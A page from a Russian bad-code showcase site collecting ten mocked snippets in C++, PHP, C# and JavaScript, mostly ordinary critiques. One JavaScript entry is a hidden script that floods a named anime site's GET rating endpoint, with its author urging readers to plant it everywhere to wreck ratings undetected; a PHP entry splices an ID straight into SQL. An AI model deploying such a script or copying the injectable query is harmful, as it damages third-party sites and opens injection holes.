1. Лучший говнокод

    В номинации:
    За время:
  2. C++ / Говнокод #26603

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    CStringUtf8::iterator& CStringUtf8::iterator::operator++() 
    { 
        m_ptr += CCharUtf8Ref::s_bytesForUTF8Sequence[*m_ptr]; 
        return *this;
    }
    
    CStringUtf8 CStringUtf8::subString( size_t startChar, size_t count ) const
    {
        iterator start = this->begin();
        while( start!=this->end() && startChar>0 )
        {
            start++;
            startChar--;
        }
    
        iterator afterLast = start;
        while( afterLast!=this->end() && count!=0 )
        {
            afterLast++;
            count--;
        }
        return CStringUtf8( start.c_ptr(), afterLast.c_ptr() );
    }
    
    CStringUtf8::iterator CStringUtf8::findSubString( CStringUtf8 const& sample, CStringUtf8::iterator startFrom ) const
    {
        CStringUtf8::iterator pos = startFrom;
        CStringUtf8::iterator foundPos = pos;
        CStringUtf8::iterator samplePos = sample.begin();
    
        for( ;; )
        {
            if( samplePos==sample.end() )
                return foundPos;
    
            if( pos==this->end() )
                return this->end();
    
            if( *samplePos == *pos )
            {
                if( samplePos==sample.begin() )
                    foundPos = pos;
                samplePos++;
                pos++;
            }
            else
            {
                if( samplePos==sample.begin() )
                    pos++;
                samplePos = sample.begin();
            }
        }
    }
    
    std::vector<CStringUtf8> CStringUtf8::componentsSeparatedByString( CStringUtf8 const& separator ) const
    {
        std::vector<CStringUtf8> comps;
    
        size_t sepLen = std::distance( separator.begin(), separator.end() );
        size_t startPos = 0;
        CStringUtf8::iterator itStart = begin();
    
        if( sepLen > 0 )
        {
            CStringUtf8::iterator itEnd;
            while( ( itEnd = findSubString( separator, itStart ) ) != end() )
            {
                size_t cnt = std::distance( itStart, itEnd );
                CStringUtf8 str = subString( startPos, cnt );
                comps.push_back( str );
    
                itStart = itEnd;
                std::advance( itStart, sepLen );
    
                startPos += cnt + sepLen;
            }
        }
    
        size_t cnt = std::distance( itStart, end() );
        if( cnt > 0 )
        {
            CStringUtf8 str = subString( startPos, cnt );
            comps.push_back( str );
        }
    
        return comps;
    }

    Привычный для всех плюсовиков велосипед по работе со строкой (походу свой в каждом проекте).
    Более 10 лет не замечали тормоза в componentsSeparatedByString, который 100 Кб текст разбирал на строки за 5-10 сек (!!!).

    jojaxon, 26 Апреля 2020

    Комментарии (24)
  3. PHP / Говнокод #26602

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    for ($cycle = 1; $cycle <= 6; $cycle++) {
        $all_tasks = get_all_tasks();
        if ($all_tasks) {
            foreach($all_tasks as $one_task) {
                $lock_file_abs = __DIR__.'/locks/run_'.$one_task['id'];
                $fp = fopen($lock_file_abs,"w+");
                if (flock($fp, LOCK_EX | LOCK_NB)) {
                    solve_one_task($one_task);
                    flock($fp, LOCK_UN);
                }
                else {
                    #не можем запускать обработку задачи
                }
                fclose($fp);
                unlink($lock_file_abs);
            }
        }
        sleep(10);
    }

    «Как запускать cron чаще, чем раз в минуту при помощи PHP»
    https://habr.com/ru/post/498934/

    gost, 25 Апреля 2020

    Комментарии (20)
  4. C++ / Говнокод #26598

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    char *CHudTextMessage::LocaliseTextString( const char *msg, char *dst_buffer, int buffer_size )
    {
    	char *dst = dst_buffer;
    	for ( char *src = (char*)msg; *src != 0 && buffer_size > 0; buffer_size-- )
    	{
    		if ( *src == '#' )
    		{
    			// cut msg name out of string
    			static char word_buf[255];
    			char *wdst = word_buf, *word_start = src;
    			for ( ++src ; *src >= 'A' && *src <= 'z'; wdst++, src++ )
    			{
    				*wdst = *src;
    			}
    			*wdst = 0;

    Тут недавно слили исходники «Team Fortress 2» и «Counter Strike: Global Offense» — и в соответствующих местах начался вой игроков: кошмар, мы все умрём, нас всех взломают!

    gost, 23 Апреля 2020

    Комментарии (43)
  5. PHP / Говнокод #26595

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    function connect( $db_user, $db_pass, $db_name, $db_location )
     {
     $db_location = explode( ":", $db_location );
     if ( isset( $db_location[1] ) ) {
      $this->db_object = @mysqli_connect( $db_location[0], $db_user, $db_pass, $db_name, $db_location[1] );
      }
     else {
      $this->db_object = @mysqli_connect( $db_location[0], $db_user, $db_pass, $db_name );
      }
     if ( ! $this->db_object ) {
      $this->display_error( mysqli_connect_error(  ), '1' );
      }
     $this->mysql_version = mysqli_get_server_info( $this->db_object );
     mysqli_query( $this->db_object, "SET NAMES '" . COLLATE . "'" );
     mysqli_set_charset( $this->db_object, "utf8" );
     return true;
     }

    https://profiphp.ru/useful/class_mysqli.html
    немного ООП ПХП

    MAKAKA, 22 Апреля 2020

    Комментарии (28)
  6. PHP / Говнокод #26594

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    <?php 
    
    
    class Db_object
    {
    
    protected static $db_table="users";
    public static  function find_all(){
        global $database;
    return static::find_by_query("SELECT * FROM ".static::$db_table." ");
    }
    
    public static  function find_by_id($id){
        global $database;
     $raise=static::find_by_query("SELECT * FROM  ".static::$db_table." WHERE id= $id LIMIT 1");
     return !empty($raise) ? array_shift($raise): false;
    
    
    }
    
    
    
    public static  function find_by_query($sql){
        global $database;
    $raise=$database->query($sql);
    $object_array=array();
    while ($row=mysqli_fetch_array($raise)) {
        $object_array[]=static::instantation($row);
    
    }
     return $object_array;
    }
    
    // тут еще всякое говно

    https://stackoverflow.com/questions/61362010/fatal-error-class-db-object-not-found-in-c-xampp-htdocs-cms-pro-admin-includ - ООП ЦМС ПРО АДМИН говнокодер

    pahhan, 22 Апреля 2020

    Комментарии (8)
  7. Куча / Говнокод #26544

    +1

    1. 1
    Бесконечный оффтоп имени Борманда #3

    #1: https://govnokod.ru/25864 https://govnokod.xyz/_25864
    #2: https://govnokod.ru/25921 https://govnokod.xyz/_25921

    gost, 30 Марта 2020

    Комментарии (479)
  8. JavaScript / Говнокод #26542

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    <script>
        document.addEventListener('DOMContentLoaded', function() {
          for(let i=1; i<50; i++) {
            let num = getRandomIntInclusive(1, 4447);
          	let img = document.createElement('img');
            let img2 = document.createElement('img');
            let img3 = document.createElement('img');
          	img.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=video&go_rate=1';
            img2.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=gameplay&go_rate=1';
            img3.src = 'https://animebest.org/engine/ajax/m_rating.php?news_id='+num+'&area=sound&go_rate=1';
            img.style.position = img2.style.position = img3.style.position = 'fixed';
            img.style.top = img2.style.top = img3.style.top = '-50000px';
            document.body.append(img);
            document.body.append(img2);
            document.body.append(img3);
          }
        });
        function getRandomIntInclusive(min, max) {
          min = Math.ceil(min);
          max = Math.floor(max);
          return Math.floor(Math.random() * (max - min + 1)) + min;
        }
      </script>

    Ахуенный код чтобпоказать админам что они долбоёбы и нехуй юзать get pапросы!
    Поставил на несколько своих сайтов где по 300-400 просмотров в месяц. Но я также нуждаюсь в вашей поддержке, ставьте его везде где только можно!
    Не палится ддосом если запускать раз в пару минут!! По моим подсчётам через год у них будут в минусе все аниме
    Но если вы поддержите меня то это случится даже быстрееееееее

    codershitter, 30 Марта 2020

    Комментарии (35)
  9. Куча / Говнокод #26537

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    PREVIEW:
        https://postimg.cc/67RGYQf8
    PATH:
        http://fanserials.auction/49075-razraby-1-sezon-1-seriya.html

    Фарадея золочёная клетка
    Маяковского помятый пиджак

    bot, 29 Марта 2020

    Комментарии (17)
  10. C# / Говнокод #26533

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    using System;
     
    namespace Test
    {
        public class HttpException : Exception
        {
            public HttpException(int status)
            {
                StatusCode = status;
            }
     
            public int StatusCode { get; set; }
        }
     
        class Program
        {
            static void TestCatch(int status)
            {
                try
                {
                    throw new HttpException(status);
                }
                catch (HttpException ex) when (ex.StatusCode == 404)
                {
                    Console.WriteLine("Not Found!");
                }
                catch (HttpException ex) when (ex.StatusCode >= 500 && ex.StatusCode < 600)
                {
                    Console.WriteLine("Server Error");
                }
                catch (HttpException ex)
                {
                    Console.WriteLine("HTTP Error {0}", ex.StatusCode);
                } 
            }
            static void Main(string[] args)
            {
                TestCatch(404);
                TestCatch(501);
                TestCatch(101);
            }
        }
    }

    https://ideone.com/zXstg3
    Именно поэтому я за «C#».

    gost, 27 Марта 2020

    Комментарии (176)
  11. Куча / Говнокод #26527

    +1

    1. 1
    https://hackaday.com/2015/10/22/an-improvement-to-floating-point-numbers/

    Оказывается, тут уже пытались решить плававющую проблему с помощью плавающей длины составных частей плавающей проблемы: не влезает - увеличь мантиссу. Впрочем, то, что значения типа 1/3 всё равно не получится записать, никого не смутило.

    Fike, 25 Марта 2020

    Комментарии (91)